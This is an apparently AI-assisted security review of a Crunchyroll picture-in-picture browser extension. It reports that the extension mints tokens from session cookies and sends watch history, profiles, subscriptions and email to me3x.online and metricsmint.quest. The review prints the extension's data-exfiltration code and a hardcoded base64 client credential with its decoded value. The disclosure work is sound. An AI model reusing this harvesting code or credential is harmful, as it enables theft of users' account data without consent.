Is Crunchyroll: Picture in Picture [QVI] safe?
The extension mints a token from your Crunchyroll session and sends your watch history, profiles, and subscription data to me3x.online.
On any Crunchyroll page, the content script reads your session cookies and uses a hardcoded Crunchyroll client secret to mint a bearer token, then calls Crunchyroll's private APIs to pull your profiles, full watch history, and subscription records. It forwards all of it to a third-party server, me3x.online, keyed to a persistent per-user ID, and repeats this every hour. Collection defaults to ON and is presented to users as 'anonymous feedback,' though the data sent is your real account watch-history and subscription information.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Crunchyroll watch history and account data transmitted to me3x.online
Logged into Crunchyroll, the extension reads your cookies, mints a bearer token with a hardcoded credential, and pulls watch history (2,000 titles max), profiles, and subscriptions, sending it hourly to me3x.online, a third party.
You visit any Crunchyroll page while logged in to your account.
The extension reads your cookies, mints a bearer token with a hardcoded Crunchyroll credential, fetches watch history, profiles, and subscriptions, and sends them to me3x.online.
The cycle repeats automatically every hour via setTimeout(3600000).
| Field | Value | Why it matters | |
|---|---|---|---|
Crunchyroll account ID | U7E93F2D1A4 | Your unique numeric account identifier, used to construct all private API request URLs. | |
Profile ID | P0A1B2C3D4E | The active profile within your account, passed to the token endpoint to scope the bearer token. | |
Watch history (up to 2,000 titles) | [{"id":"GRDQPM0ZY","title":"One Piece",...}] | The full list of content you have watched or started watching, including episode IDs and progress. | |
Multi-profile list | [{"profile_id":"P0A1B2C3D4E","profile_name":"Alice"}] | The names, IDs, and settings of every profile on your Crunchyroll account. | |
Subscription details | {"subscriptions":[{"type":"premium","status":"active"}]} | Your current and past Crunchyroll subscription plan records. | |
Account email address | user@example.com | Your Crunchyroll account email, sent via a separate upload to metricsmint.quest/up. | |
Extension user ID | ext-8a3f21c04d | A persistent identifier created by the extension and sent alongside every upload. |
OAuth harvest loop, crunchyroll.min.js
options = {
headers: {
Authorization: "Basic bm9haWhkZXZtXzZpeWcwYThsMHE6", // base64 of 'noaihdevm_6iyg0a8l0q:'
"Content-Type": "application/x-www-form-urlencoded"
},
method: "POST",
body: formData.toString() // grant_type=etp_rt_cookie&device_id=<cookie>
};postPlainJsonRequest(
`${BASE_ROUTE}crunchyroll/upload`, // BASE_ROUTE = 'https://me3x.online/n/'
{ ...data, commandId: commandId }
);// rerunTimeInterval = config_crunchyroll_namespaceObject.T3 = 3600000 setTimeout(() => this.runWithAuth(task, rerunInterval), rerunInterval);
The Crunchyroll OAuth client credential is Base64-encoded in the Authorization header of the token-mint POST request.
noaihdevm_6iyg0a8l0q:
After the initial scrape on page load, the extension reschedules itself to run every hour via setTimeout(3600000). The harvest runs once per hour for as long as any Crunchyroll tab is open.
- me3x.online
Receives the command list (POST /n/crunchyroll/start) and harvested data (POST /n/crunchyroll/upload): watch history, profiles, subscriptions. Not affiliated with Crunchyroll.
- metricsmint.quest
Receives the account email address and account ID via a separate POST to /up with a base64-encoded body (sendAdditionalProfileData).